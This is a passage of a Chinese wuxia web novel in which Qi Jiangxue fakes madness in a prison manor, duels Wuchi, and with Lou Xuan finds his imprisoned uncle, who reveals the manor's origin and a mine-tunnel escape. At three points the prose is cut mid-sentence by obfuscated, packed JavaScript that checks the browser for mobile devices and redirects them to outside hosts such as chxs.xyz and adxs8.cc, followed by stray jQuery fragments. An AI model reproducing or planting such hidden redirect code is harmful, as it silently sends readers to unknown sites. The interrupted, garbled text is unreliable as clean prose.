相比之下廖奉堂的脸色就不那么好了。刘文启在的时候始终压他一头,现在人死了,他不但不能如愿接管无争别院,连想兼管尚善别院的差事都被邱老给否了。这于诘一个后来者都比他更得邱老赏识,他如何能服气。
看到戚江雪一动不动坐在床边,廖奉堂更加来气。
他踹翻一把椅子,大声喝道:“你耳朵聋了?知道要来查验为何不站在门口等候?”
戚江雪恍若未闻,连眼神都不曾撇向他。廖奉堂感觉威严受到了挑战,心头火起,刚要上前,被于诘拦住。
“廖兄,这幽人馆都是些弱女子,何必动这么大肝火?若伤了她们岂不失了风度。”
廖奉堂将于诘的胳膊甩开。“你倒是会怜香惜玉,可惜人家未必会领你的情。再说,还轮不到你来管我!”
戚江雪突然站了起来,似被吓到一般瞪大眼睛看着廖奉堂。
“是你!你为什么还活着!是你杀了他。”戚江雪边说边大笑起来,整个人看上去状若癫狂。
“你胡扯什么……”廖奉堂还未吼完,戚江雪就上前抱住了邱老的腿。
“尸人……血……他们把他围住,撕掉了。”戚江雪瑟瑟发抖,好像回忆起了什么可怕的事情。她说完看向廖奉堂,又指着他大叫起来:“就是他!他是尸人。”
廖奉堂气得脸色铁青,抬掌劈向戚江雪,被邱老一招“春风化雨”挡下。邱老之前一直在仔细观察戚江雪,此时才缓缓开口。
“她应当是在那夜看到文启被尸人攻击,受了刺激。你就不要跟一个疯子计较了。我如今确定她已是废人,让她留在幽人馆,也算是对庄主有个交待。”
廖奉堂虽不甘心,也只能应声称是。于诘看了看廖奉堂,轻轻扬起嘴角。邱老将戚江雪推开,头也不回地带着二人离去。
没过多久温让走了进来,看见坐在地上的戚江雪问道:“刘管事出事的时候你真的看见了?那天我问你你为什么不说?”
戚江雪一脸迷惑:“刘管事是谁?他怎么了?”她说完又突然变得一脸冷酷。“哦,我知道了,他是个贼。他偷了门口的羊,所以死了。”
温让看着戚江雪的样子好像格外害怕,再没有多问,关上门跑了出去。
直到声音消失,戚江雪才站起来,冷冷一笑。要想在这里苟活,自己只能做个疯子。
随着武学的提升,她的戾气似乎也越发重了。在廖奉堂吼叫动手时她就有冲动要掐断他的脖子,只是强行让自己忍住。
如今她的功夫就是遇上无疚也大有胜算,要杀邱老等人易如反掌。可是泄愤之后呢,她还要想办法出去,还要保全师父和关前辈。自从了解关前辈的往事,她更明白就算离开这里,山庄外也还有风刀霜剑。想要无惧威胁,唯有忍耐,静待时机,苦练再苦练。
入夜。
戚江雪刚刚与秦修意说了些关于《清罡诀》的修炼心得,突然见她面色凝重起来。“有人过来了。应当不是管事。”秦修意的耳力非同寻常,从很远便听到了声音。
戚江雪留心,果然有人在往这边飞,脚尖在院外的墙上一踏即走。
她立马翻窗而出。
“小心些。”秦修意低声嘱咐。戚江雪点了点头,向着自己的院子飞去。
柒号院中静立着一个黄衣少女,听到动静后转过身来,笑意盈盈地看着戚江雪。
“看来在清晏山庄走动对你来说就像逛自家花园一样简单呢。今夜又去哪里啦?”
戚江雪初时一惊,但紧接着反应过来。眼前的少女虽然长相与无疚一模一样,但神情可亲,声音软糯甜美,并不是同一人,应当是另一位掌教无痴。
她淡淡说道:“只在附近散散心,知道有客人便赶紧回来了。”
无痴笑弯了眉眼:“哎,我就说你这人有意思。可惜无疚现在还说不了话,受伤后也懊恼得不行,不肯理会我。不如你给我讲讲,你是怎么把她伤成那样的?”
戚江雪自嘲一笑。“侥幸而已,当时差点死掉的人是我。掌教要不要进屋里坐坐?”
无痴看着戚江雪,眼中的笑意愈发强烈。
“你很有礼貌,长得也很合我心意,我喜欢。但我今天来是找你讨教的,你若能打过我,我就更欢喜了。”
戚江雪皱起眉头。“你是来为无疚报仇的吗?”
无痴摇了摇头,认真道:“她输给你是她技不如人,有什么仇可报!自师父过世后我们姐妹便再也没出过山庄,来挑战的江湖高手没有一个不是我们的手下败将。武学之道并无止境,与强者对抗才能有进益。你若能满足我的要求,今后你就是我的朋友。”
戚江雪话中带着一些冷意。“我被关在这里,你是看守之人,如何做朋友?如果你想找真正的高手,那应当是在广阔江湖而不是囚牢困地。”
无痴听到戚江雪的话,愣了一会才说:“我和无疚在这里,只是因为师父曾经欠了庄主之情,这里的人和事其实我们都懒得管,只会在遇到挑战时出手。如今师命已不在,我们本就是自由的,只是不知要去何处才一直留在山庄。若真说看守,又岂会容你四处游荡?这里确实不是好地方,但它自有存在的理由,与我们无关。你当然有不奉陪的自由,但我还是希望你能自愿与我较量。”
“天外有天,人外有人。就算你赢了我又能怎样?若你输了,又当如何?”戚江雪问的很冷静。
无痴甜甜一笑:“至少在这里,你可以做我的对手。若我赢了,那你自然得更努力修炼。若你赢了,我也会努力赶上你。我说过,你若满足我的要求,我便当你是朋友。既然是朋友,今后我自然会站在你这边。”
“既如此,那便不多废话了。且战一场再说!”戚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958920|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江雪说完便率先攻了上来。
二人你来我往,掌对掌,拳对拳,脚下缠斗亦不相让。无痴的内力虽不似无疚那样霸道,但绵绵不绝很是难缠,戚江雪则在实战中不断精进着《清罡诀》。
无痴迅猛的招式对戚江雪来说很陌生,但她在无痴使出后便立马牢记这些招式并转而对着无痴用出,配合《清罡诀》的内力,反倒能打得无痴措手不及。
无痴的武功还在无疚之上,但戚江雪现在已经隐隐占了上风,可见她这段时间进步飞速。戚江雪想到此处,收了攻势转为防守。既是切磋,不涉及生死,那点到为止便可。
无痴也渐渐收了手,打了一炷香的功夫,两人消耗都有些大。
“看来你这段时间又厉害了不少。师父曾说我和无疚是武学奇才,但比起你来,我们俩还是差了。我也见过不少高手,现下看来都不值一提。你果然与众不同。”无痴的语气很是愉悦。
“承让了。与你对上我很吃力,你让我学到了很多。”戚江雪对无痴双手抱拳。
无痴回了礼,道:“你平常可用武器?”
戚江雪犹豫了一下,还是说:“用锏。”
无痴又笑了起来。“那下次我们各自带上武器再打一场。”
戚江雪点头。“好,不过先各自消化一段时间吧。另外,请替我对无疚说声抱歉,希望她尽快恢复。”
“我会替你转达。不过你不必道歉,她当时伤你也不轻。无疚的脾气比我更直,但也重诺。胜败乃常事,她只会怪自己还不够强,怪不到你头上。今日是我上门打扰,下次我会提前与你相约的。”无疚说完便准备离开,戚江雪突然想到了一个问题。
“且慢。你可知凌鸢阁的前任掌门被关在山庄何处?”
无痴有些疑惑,想了想道:“我不曾听说。这山庄乱七八糟什么人都有,我可以帮你问问。”
楼煊的师伯既然被关在暗处,若让无痴询问也许会打草惊蛇。
“不必。你既然不知道,那就不麻烦了。万一被人知道,未必能保证他的安全。”戚江雪觉得无痴可以信任,所以说出了自己的隐忧。
无痴赞同道:“你说得不错。这山庄秘密很多,你既问我,说明当我是朋友,我也不能好心办了坏事,还是暗中查探比较好。对了,无疚曾说过尚善别院有一条地下密道,就在莫瑞谦的书房里,不知通往何处。你可以过去看看。”
戚江雪想起上次在莫瑞谦书房外看见宋思蔻,心中一动。“多谢你了。”
无痴背对她摆了摆手:“没什么好谢的。很多时候我也不知你这样的人为什么会被关进来。”
无痴离开后,戚江雪跟秦修意交待一番便赶往尚善别院书院区。
书房里正亮着灯。
她正在思考怎样把人引出来,突然一支短箭从旁边射出,穿破窗纸直入书房。
“谁?”里面传来一声怒喝,紧接着于诘便打开了门。他先向四周看了看,灌木丛中传来一阵响动,“嗖”一声又是一根短箭射向他。于诘闪身避开,沿着灌木丛追了过去。
戚江雪趁此机会进入了书房。
15. 得知深处暗藏鸦
戚江雪扫过一眼书房的结构布置,直奔靠墙的整排书架而去。常规来讲,这是最容易藏暗道的地方。她在书架边缘摸了一会,没有找到头绪,外面有脚步声传来。
既然来了,就不能无功而返。戚江雪闪身至门后,外面那人刚进来她便上前一掌劈下。这人并非于诘,躲得很是狼狈,虽然后颈幸免于难,肩头还是挨了一下。
“咳咳,戚姑娘。咳咳,是我。”楼煊熟悉的声音里带着些痛苦意味。
戚江雪连忙上前扶住他。“对不住,我以为是管事回来了。没事吧。”
楼煊还在咳嗽,戚江雪十分愧疚,看来下手是有点重。
“小事,咳咳。”楼煊缓了缓道:“你怎么会在这里。”
“我得知这个书房有一条密道,便想来查探一番。刚刚看了书架,没发现什么端倪。你呢,知道这里的情况吗?”戚江雪边说边走到书桌前。
楼煊摇摇头。“还记得我们初次见面吗。莫瑞谦以为我是他手下的药人,把我带到这里讯问。当时装作被药控制,没有仔细观察。后来我想起莫瑞谦好像并不是从外面回来的,也许这个书房还有秘密。于诘被机关引到了别院门口,但估计要不了多久就会回来。我们动作快些。”
楼煊分别从东西和南北向丈量了整个书房。他观察一番,走向博古架,将上面的一个红釉瓷瓶挪了挪。一阵响动传来,书桌后的地砖向左右移开,露出一个地下入口。
二人向下看去,只见入口边缘有一条绳梯径直延伸,底下一片漆黑。
“若我们就这样下去,他一回来便会发现。”戚江雪走到博古架前,将瓷瓶挪回原位,入口便又缓缓关闭了。
她重新将入口打开,看着楼煊道:“你先下去。”
楼煊没有犹豫,立马顺着梯子往下爬去。戚江雪估算了一下时间,将瓷瓶移回原位,然后迅速飞向入口。就在她踩到梯子时,两块地砖刚好在她头顶闭合。
向下爬了近十米,戚江雪踩到了实地。楼煊已经点燃了火折子,这是一条还算宽敞的密道,空气中带着些湿意,两人向前方走去。
“你近日去了边关?那校尉说的可是真的?”戚江雪问道。
“嗯。我去了冀州。”楼煊神色冷凝。“有小严将军在,冀州保住了。”
戚江雪看楼煊的脸色不像是没事的样子。“那危机可有解除?”
楼煊叹了口气。“冀州虽然保住了,可籼城失守,景国长驱直入,接连攻破十三城。如今燕、兖二州危在旦夕。严侯被陛下问罪关押,小严将军也被停职候审了。”
在戚江雪记忆中,武宁侯严长雍和其子严陟皆战死沙场,景国先是攻破了冀州,随后才一路南下打到帝都。英宗议和时被景国扣押,皇室公卿被俘,前绥就此灭亡。如今才多久,形势不但与历史上不一样,还如此严峻?按照这个速度大绥国破根本要不了三四年,可能就是近在眼前的事。
“现在问罪,只怕时机并不合适吧。”戚江雪试探着问。
“何止是不合适!”楼煊眼中燃烧着怒火。“严侯战功赫赫,数年来抵挡景国大军于关外,是我大绥的护国之柱,也是边关军民的定心针。小严将军年少有为,勇毅不输其父,在军中威望甚高。二人忠心耿耿,却在这个时候被问罪,不但动摇军心,也让百姓寒心。”
这样的事在历史上并不少见,英宗若是明君,也就不会有“泰和之变”了。戚江雪冷哼一声:“严侯身为燕州节度使,管三州行政,又手握军权,只怕早就被圣上所忌惮。如今可算是找到了由头。”
楼煊点了点头,又嘲讽道。“这也要多亏那些主和派,没有他们在陛下面前上眼药,也不至于此。战时换将,亏他们想得出来。”
“现在是谁替代了严侯?”戚江雪不由问道。
“陛下派了原厢都指挥使柳成荫。此人我也不甚了解。”楼煊忧心忡忡道。
不知此人是谁,能否改变局势。
记忆中的历史已然改变,身处其中,只能随着浪潮共起伏。如今她与活在当下的所有人一样,没有上帝视角,没有后来者所谓的时代优越感,只有茫然与忧虑。更何况她现在连自由之身都不是。
戚江雪不再说话,两人心事重重地走着。
路走到尽头,堵在前方的是一面石墙,墙上钉着一颗巨大的山羊头骨。比较违和的是这羊口中竟长着尖利的犬齿。原本应是黑洞的眼眶中镶着两颗暗红色宝石,两根羊角则被涂上了一层黑色的漆。
戚江雪在羊头上摸了摸,每个部位都很固定,没有什么转动变化的余地。
“你有没有觉得它的眼睛在动?”戚江雪盯着头骨问道。
楼煊将火折子举了起来,左右晃动。“是光线的缘故。”
当火光无意照射到的某个角度时,那对红宝石的瞳孔中突然同时出现了一道黑色横线。戚江雪此时再碰羊头,羊口突然张开。“轰隆——”右侧的石壁裂开了一道可容纳一人进出的缝隙。
两人对视一眼,先后走了进去。片刻后,羊口上下牙齿又碰在一起,石壁也恢复了原状。
一排牢房映入眼帘。从他们进来的第一间数过去,牢房共有十间,他们一路走,前面七间都是空的。
第八间牢房的角落里缩着一个人。牢门上竖着尖刺,楼煊却不管不顾,贴着铁栏朝里看去。
“师伯。”楼煊先是颤抖着低唤了一声,随后提高音量,拍打着铁栅栏。“师伯!我是麒轩。”
那人听到声音猛然抬头,露出一张清癯的脸。
公冶瞻看到楼煊取下易容的人皮面具后,先是难以置信,随后嘴唇便控制不住地颤抖起来。“煊儿……你怎么找到这里的。”
他的两个膝盖骨都已被剜掉,想要挣扎着起来,却无能为力。
“师伯别动!等我。”楼煊看到公冶瞻遍布伤痕的身体,眼眶泛红。他拿出随身携带的匣子对戚江雪低声道:“我要进去。”
戚江雪点点头,向后面两间牢房走去。
第九间牢房也空着,而角落的最后一间里有一个人。那人半靠在墙边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14986827|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,衣衫褴褛,披散着发,脸偏向里侧一动不动。刚刚的动静没有惊醒他,不知此人是否还有意识。
戚江雪回到楼煊身边,此时他已经用一把形制有些奇特的铜钥匙将挂在门上的铁锁打开了。
“这下面想必一般不会有外人进来,所以锁做的倒不复杂。”楼煊说着将铁门推开快速朝地上的人跑去,戚江雪犹豫了一瞬,也跟着进去。
楼煊将公冶瞻扶起,让他靠在自己的身上。公冶瞻看着戚江雪,声音沙哑地问道:“姑娘是何人?因何来此?”
楼煊道:“师伯,戚姑娘是我的朋友。”
戚江雪躬身行了一礼道:“见过前辈。我叫戚江雪,被关在清晏山庄。楼公子之前帮过我,我答应会帮他找人救人。”
公冶瞻苦笑道:“姑娘是侠肝义胆之人,但你们能找到我已是不易,要救我怕是不能了。”
楼煊着急道:“我会想办法的。”
公冶瞻摇了摇头,颤抖着握住楼煊的手。“我腿脚俱废,又中了毒。如今毒药已经沁入内腑,没几天好活了。”
戚江雪蹲了下来,看着公冶瞻道:“我认识一位前辈,医术非凡,也许她会有办法的。”
“他们本就不打算让我活着出去,附生疽之毒无药可解,我如今筋骨都溃烂了。之所以还活着只是因为他们还没有得到想要的秘密,吊着我的一口气。”公冶瞻闭了闭眼,语气中充满了痛苦。“多一人知道我的状况,就多一人有性命之危。你们也赶快离开。”
楼煊语气沉痛道:“他们究竟想要您做什么!凌鸢阁一直配合朝廷督造各种机关弩和火器,如此关键时期清晏山庄竟然对您动私刑,是何居心?师父如今病体难安,还盼着您回去主持大局。看到您遭此劫难,我怎么可能当作无事离开!”
公冶瞻看向牢房外问道:“你们怎么来的这里,可遇到什么危险?”
戚江雪也回头看了看。“尚善别院管事的书房里有一条密道直通这里,我们来时已将一切恢复原状。若实在有人要下来查看,那也只好兵来将挡水来土掩。我武功尚在,好歹也能护你们一护。”
公冶瞻又问:“你们想过怎么出去吗?”
戚江雪和楼煊对视了一眼,然后同时摇了摇头。
公冶瞻叹了口气道:“罢了。此时应当没有人会过来。既然你们来了,有些事我也当告诉你们。”
楼煊小心翼翼扶着公冶瞻靠在墙上,在自己的匣子里找了又找,拿出了一瓶金疮药。“只有这个了,麻烦师伯忍忍。”
“刺啦”声响起,只见戚江雪从中衣的袖子上撕下了一块。“还算干净,勉强帮前辈擦一擦伤口吧。”她慢慢将伤口上的血渍擦去,楼煊则接着将药粉洒在公冶瞻的各处伤口上。
公冶瞻的感知已经基本麻木了,他摸了摸楼煊的头,看着二人的眼神中饱含着慈爱。虽然这些对他这将死之人根本无用,但他不忍打断他们。
“当初,这清晏山庄是我主持建造的。”
听到公冶瞻的话,戚江雪愣住了。
16. 难抛往事谁得免
“此话也不算太准确,因为起初这里并不是要建山庄。”公冶瞻的语调很慢,似在回忆,又好像在斟酌着什么。
戚江雪放下手中的布,坐到了一边。她想起温让最开始跟她提过一点关于清晏山庄前身之事。“听闻这里曾经要建皇家园林。”
“不错。绵云镇在终南山下,风景怡人,一直以来也算是避暑胜地。三十年前先帝打算在这里建一座皇家别苑。”公冶瞻拍了拍楼煊的肩膀,看他停下了手里的动作,才继续说下去。
“最开始的设计修建是交给工部的,当地男子基本都被征用参与建造。这对绵云镇来说不算是一件坏事,真正改变这个镇子命运的,是有人偶然捡到了一点被地下温泉喷出的碎矿。此矿奇异非常,硬度超过金刚石,常规手段难以切割,密度又极高,巴掌大小就重达百斤。”
楼煊似乎想到了什么,以一种求证的眼神看向公冶瞻,公冶瞻对他点了点头。
“此矿并非常人所能加工,他们找到了我。而我的第一直觉便是它很适合用来做兵器。当我用它铸成了一把刀后,发现它的重量竟然可以随着使用者的力量自适应。这刀无坚不摧,钢铁在它面前就如朽木般不堪一击。当温度极高到达某个临界点时,这种矿物便会自燃,我为它取名赤渊。”
楼煊点了点头。“那把赤渊刀我在师父那里见过几次。”
公冶瞻说“绵云镇有温泉是为人所知的,可没想到地火还能淬炼出此等矿物。意识到此矿的价值,先帝便命人进行探矿。若能大量开采制造兵器,我军的战力必将会大大提升。”
“赤渊矿应当没有开采成功吧。”戚江雪问道。
“不错。赤渊在山底地火层中,开采难度极大。我也是后来才知道,每多开采一些,地火的活性便会增强。”公冶瞻的语气中带着沉重的惋惜,戚江雪有了某种预感。“在一次开采中,地火喷发了。当时参与开采的官员和百姓死伤殆尽。先皇将此地封锁起来,不允许任何人出入,随后整个镇子都没了。”
“没了?”戚江想到可能发生的事,心里涌起强烈的反感。楼煊从公冶瞻讲述起就一直沉默着。
“没了。”公冶瞻说出这两个字,整个人似乎更加苍老了。“那场地火让绵云镇损失惨重,整个镇子基本被爆发的岩浆烧没了,幸存的少数人也都被关了起来。”
戚江雪冷声问道:“清晏山庄就是这么来的?这里最开始关的都是绵云镇的人?”
公冶瞻轻轻摇头:“不止如此。因为先帝变法,时局不稳,当时正是民间各势力纷纷崛起的时候。绿林军一批接一批,被镇压后也都关到了这里。他们和小镇幸存者,都是清晏山庄尸人的前身。发现了利用之机,便有江湖人士和朝廷勾结,又进一步将人做成药人。那些被抓来的人因为承受不住精神失常,疯人的名号便也传了出去。”
戚江雪没有掩饰自己的愤怒,她站了起来,俯视着公冶瞻道:“所以您知道清晏山庄是用来做什么的,还主持修建了它?凌鸢阁难道是朝廷的走狗吗?”
楼煊动了动嘴唇,似乎想反驳,但最终什么都没说。他看着公冶瞻,面色有些颓败。
“戚姑娘,这是老夫一人的过失,凌鸢阁众人也并不知道我做了什么。发现并成功加工了赤渊矿令我欣喜若狂,因为当时除了我再无人可以做到。”公冶瞻似是因激动咳嗽了起来,楼煊连忙拍着他的背进行安抚。
公冶瞻挥了挥手继续说道:“赤渊矿开采极其危险,地火又有再次爆发的可能,朝廷自不会允许他人擅自来此。最开始我只是负责为矿洞设置机关,后来工部没有可用之人,便让我主持了山庄的修建。清晏山庄实际上是被皇室所掌控的,没想到它会变成打击异己关押政敌和无辜之人的地方。将人做成尸人药人的秘术多是从苗疆西域而来,之前闻所未闻。直到这次被抓来,我才知道了这些。”
戚江雪若有所思。“清晏山庄的背后是皇家,为何管事的都是些武林中人。”
楼煊缓缓开口道:“甘做朝廷鹰犬的怎么会是真正的武林中人,他们只不过借势让自己凌驾于其他势力之上罢了。皇家禁卫虽然也在山庄之外守卫,但若数量太多一定会引起非议,自然不如江湖人士用起来方便。除了皇室,许多官员也和山庄有交易,那些上不得台面的事都可以让药人去做,用他们比养死士花费的代价更小,也不用担心泄密。”
“抱歉,前辈。之前想到被关在这里的无辜之人一时有些失控。”戚江雪欠身对公冶瞻说道。
公冶瞻抬手虚扶了一下。“你说得也没错。如今我被关在这里遭此对待,或许就是一种报应罢。不过,你们还是有希望出去的。”
戚江雪苦笑了一声。“其实我自己倒也无所谓。之前楼公子给过我山庄的地图,我若拼尽全力,未必不能出去。可是如今山庄里还有我牵挂之人,我要将她们一并带出才是难事。”
公冶瞻点了点头。“我明白。清晏山庄几乎涵盖了整个绵云镇的范围,不但有武林高手看管,外面还有禁卫军,想要光明正大出去几乎没有可能。煊儿的易容之术也只能让他自己一人出入,还有暴露的风险。你们只能从矿洞的暗道中出去。”
楼煊连忙问:“师伯,矿洞究竟在何处?我之前探查了许久,也没有发现相关的密道。”
公冶瞻道:“暗道入口只有一个。矿脉地图我只交给过先帝一人,他们把我抓来其实就是为了逼问入口所在和里面的机关破解之术。我本来要将这个秘密带到地下,你们今日来,我便告诉你们。”
他说完对二人招了招手,待二人进一步靠近身前时说:“从静园出去,往东南方向走依次有三个温泉池。入口就在最后一个温泉的泉眼处。”
戚江雪回想着脑海中的地图,东南角是无争别院。从幽人馆经过主院,穿过静园再一路到温泉处,难度实在不小。
“从入口进去便是矿洞了,那里面还有机关?”戚江雪问。
“不错。凌鸢阁的机关一般人无法破解,具体的破解之法我只能告诉煊儿。”公冶瞻看着戚江雪说。
戚江雪点了点头,站起身向外走去。楼煊对公冶瞻说:“师伯,戚姑娘不算外人。她……”公冶瞻止住了他的话头。“煊儿,我并非不信任戚姑娘,只是机关特殊,需懂其中关窍之人才能理解,也必须要凌鸢阁之人带领才能离开。”
戚江雪对楼煊笑了笑:“我明白前辈的意思。就算现在告诉我,面对机关时我可能一样束手无策。我去外面看看。”
戚江雪走出去,还将牢门轻轻掩上了。她先是走向最后那间牢房,看了看里面的人。那人还维持着先前的姿势一动不动。其实楼煊的钥匙应当也能打开这间牢房,可不知对方底细,暂时还是不要冒险了。她虽有心助人,可也没有博爱到什么人都救。
如果地牢只有一条通道,那么进出就只能通过尚善别院的书房,在山庄内部大部分人包括掌教都不清楚这个地牢的情况下,这样做很不隐蔽。地牢这样的级别,也不可能就让一个尚善别院的管事主宰。
戚江雪想到了宋思蔻。当时她在书房里逗留了许久,会不会是发现了密道,还是说她本来要找的就是这密道,或者是这下面关着的人?如果是这样,那就更复杂了。知道矿脉的人本来就不多,他们所图的会是什么呢?
她边思考边在地牢周围走着,希望能找到另一条出路。如果原路返回,那她们就只能和那位新管事对上了。
牢房中,公冶瞻将矿洞地图画在了楼煊的后背上,又将每一处机关和关于地火的秘密都告诉了他。
“煊儿,赤渊矿极为难得,却不宜开采,地火之威非人力所能挡。此事知道的人越少越好。据我所知,先帝当时之所以灭口绵云镇的幸存之人,也是因为有异国奸细混入其中探听矿脉的秘密。”
楼煊点了点头,道:“我明白,师伯。如今我们既已知道另一个出口,便可以一起出去。”
公冶瞻抓着楼煊的手臂道:“你听我的话,不要再想着救我。即使我没有中毒受伤也要在这里终老自省,更何况我已是将死之人,怎能再拖累你们。”
楼煊难过道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14996456|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“做机关修建山庄都只是出于匠心,您并不知道他们要做什么,也没有害人之意,这其实不能怪罪到您的头上。”
公冶瞻叹了口气。“人活着,终究要面对的是自己的心呐。你出去以后就不要再冒险进来了,你虽然易了容,但也并不是万无一失。”
楼煊道:“可您一天不说出秘密,他们就会继续折磨您,我没办法不管。就算您命不久矣,也不能留在这里,否则我无法面对师父,更无法面对自己。”
公冶瞻偏过了头,将拇指与食指伸进口中,从里面拔出一颗牙。
“这里面是凌鸢阁历任掌门密信,当初我被抓得仓促,没来得及将它传出,如今交给你我也算了却了最后的心事。你尽快把它带回去交给你师父,这是重中之重,也是前任掌门的命令。你若继续执拗,见到的只会是我的尸体。”
楼煊将东西包裹好收了起来,对着公冶瞻跪下来,磕了三个头。
公冶瞻双手颤抖将他扶起。“好孩子,你的心我都知道了,不必再苛求自己。今后恪守君子之道,莫要负人负己。那位戚姑娘,看着是个良善之人,你……好好把握。”
话音刚落,戚江雪便出现在了牢房门口。“前辈,楼公子,打扰了。我找到了另一条通道,就在第三间牢房。我们现在尽快出去吧。”
公冶瞻点了点头道:“不错。当初修建这里时,确实还有一条密道。我本打算告诉你们,没想到姑娘你已先行找到了。煊儿,你们赶快出去吧。”
戚江雪惊讶。“您自然也要跟我们一起出去。别担心,我会保护你们的。”
公冶瞻欣慰地笑了笑,用最后的力气推了楼煊一把。“快走。别忘了我交待你的话。”
楼煊双目泛红,走了出来。他将牢房门锁好,对戚江雪低声道:“师伯不会走。”
戚江雪明白再说无用,她郑重地向公冶瞻行了一礼。公冶瞻点了点头,随后脱力一般面向墙壁躺下,不再回头。
前面空着的牢房都没有上锁。两人走到第三间牢房,戚江雪在左边角落的墙壁上按了按,一掌拍下,只见这块砖慢慢后移,露出了两尺左右的缝隙,两人走了出去。
因为心情沉重,两人一路都没有说话。沿着密道出去,外面便是尚善别院的另一边。
这时,戚江雪开口了。“如今找到了你师伯,你之后还要救他出去吗?”
楼煊望着出来的方向道:“即便我要救,师伯也不会走。他,也等不到了。”
“那么,这大概是我们最后一次见面了。”戚江雪语气平静,听不出其中的心绪起伏。
楼煊看着她的长发被夜风吹起,不知为何想到了飞星燃烧后留下的余烬。他一时没有说话,直到她烟灰色的瞳眸看向了他。
“当然不是。那矿道地形极为复杂,机关甚多,你还需要我的帮助。”楼煊看着戚江雪的眼睛说。
“其实你并没有这个义务。你已经帮过我了,我没有理由再将你拖入危险中。”戚江雪垂下了眼眸。
“我想我们已经是朋友了,帮朋友脱困并不需要其他理由。”楼煊说着笑了笑,“师伯将地图画在了我的背上,只怕我一时半会也没法把地图给你。”
戚江雪愣了愣。她倒不在意所谓的男女大防,毕竟她不是生在这个时代的人,但这话要说出来只怕会吓到楼煊。“哦,好吧。那就只好再麻烦你了。”
“谈不上麻烦。”楼煊的语气很轻柔,戚江雪突然不想再客气下去了。
“既然如此,那就再拜托你一件事。”
“嗯,你说。”
戚江雪深吸了一口气。“帮我查查我的身世。我现在什么都想不起来了,如果要出去的话,我想知道外面有什么在等着我。不过,不用勉强,找不到也没关系。”
“好。”楼煊点了点头,“开始知道你姓戚,我有过些猜测,但因为不熟悉,也不好确定。这次出去我会查一下。”
戚江雪对楼煊微微一笑。“多谢。”
楼煊道:“希望下次来带给你的是好消息。”
17. 乌玄鹄白尚怀疑
“你这孩子也太刻苦了些。衣服都破了也不知道。”秦修意一边帮戚江雪补着练功磨破的衣服,一边念叨。
戚江雪闻言有些不好意思道:“三套衣服都一样,之前这件本来要补,结果一时没记起,竟又换岔了。”
秦修意笑着摇了摇头:“衣服直接拿给我就是。蛋羹热好了,快去吃。”
戚江雪走到桌前,将冒着热气的蛋羹端了起来。
许是觉得她们余生再无指望,山庄对她们也日渐宽容。长年被关在这里的人,有时会自己开些小灶。
自从练功以来,消耗很大,戚江雪感觉自己饿得很快,固定送的两顿饭是不怎么够吃的。秦修意每日都会为她加餐,有时关苒苒也会给她做些吃食,生怕她体力跟不上。
在黑暗中行走许久的人看到一点光亮后便会忍不住靠近,亲情对于戚江雪来说便是如此。她眷恋着这样的温暖,也习惯了每天和秦修意在一起,诉说自己的心得与困惑,听秦修意讲江湖上的各种传奇往事。
了解秦修意的过往后,她知道秦修意并没有自己的骨肉,可如今她就像是秦修意的孩子。秦修意惦念着她的衣食住行,也为她的修行指点迷津,在这无望之处她们相依相伴,是师徒却更胜母女。
将蛋羹吃下,胃里充实起来,整个人也有些懒洋洋的。
戚江雪双手撑着下巴看秦修意补衣,感觉眼皮慢慢耷拉下来。
残阳如血。女子拉着她在旷野上大步奔跑着。
“娘,我,我跑不动啦。”她大口喘着气,想停下来,可是女子拉着她的手很紧,很紧。她只能不断被带着向前。
终于,她脚下一绊,摔倒在地,开始放声大哭。女子停了下来,将她紧紧搂在怀中。
“阿雪,我的阿雪。娘对不住你。”女子原本就白皙的脸上没有一丝血色,看着她的烟灰瞳眸里满含悲伤与焦虑。
“娘,我们要去哪里?我们回家好不好。”她抽泣着说。
女子看向远方。良久,眼中溢出了两行清泪。“好。娘已经没有家了,但阿雪有家。娘带你回家。”
秦修意将补好的碧色外袍披在她身上,戚江雪立时便醒了。
心中充斥着一股陌生的悲伤,大概是因为又梦到了原身的过去。联想之前的梦,原身的母亲大概率已经不在了。但好在,她的情感还有枝可依。
“这段时间累坏了吧,今晚就不要练了。歇歇。”秦修意摸了摸戚江雪的头,有些心疼。
戚江雪眼神还带着些迷离,缓缓摇了摇头。
“不行,练功这种事荒废不得。我每天都有新体悟,而且现在用双锏越来越得心应手了。”
秦修意将她的手握住,指尖轻轻碰着她的虎口处。“都磨出茧子了。修行是长年累月的事,平时还要多注意休息。睡不够的话可不长个儿。”
戚江雪闻言笑了笑:“我都已经十八岁了,还长什么个儿。师父当我是孩子呢。”
秦修意也笑起来。“在我面前你可不就是孩子嘛。对了,你和无痴的比试定在什么时候?”
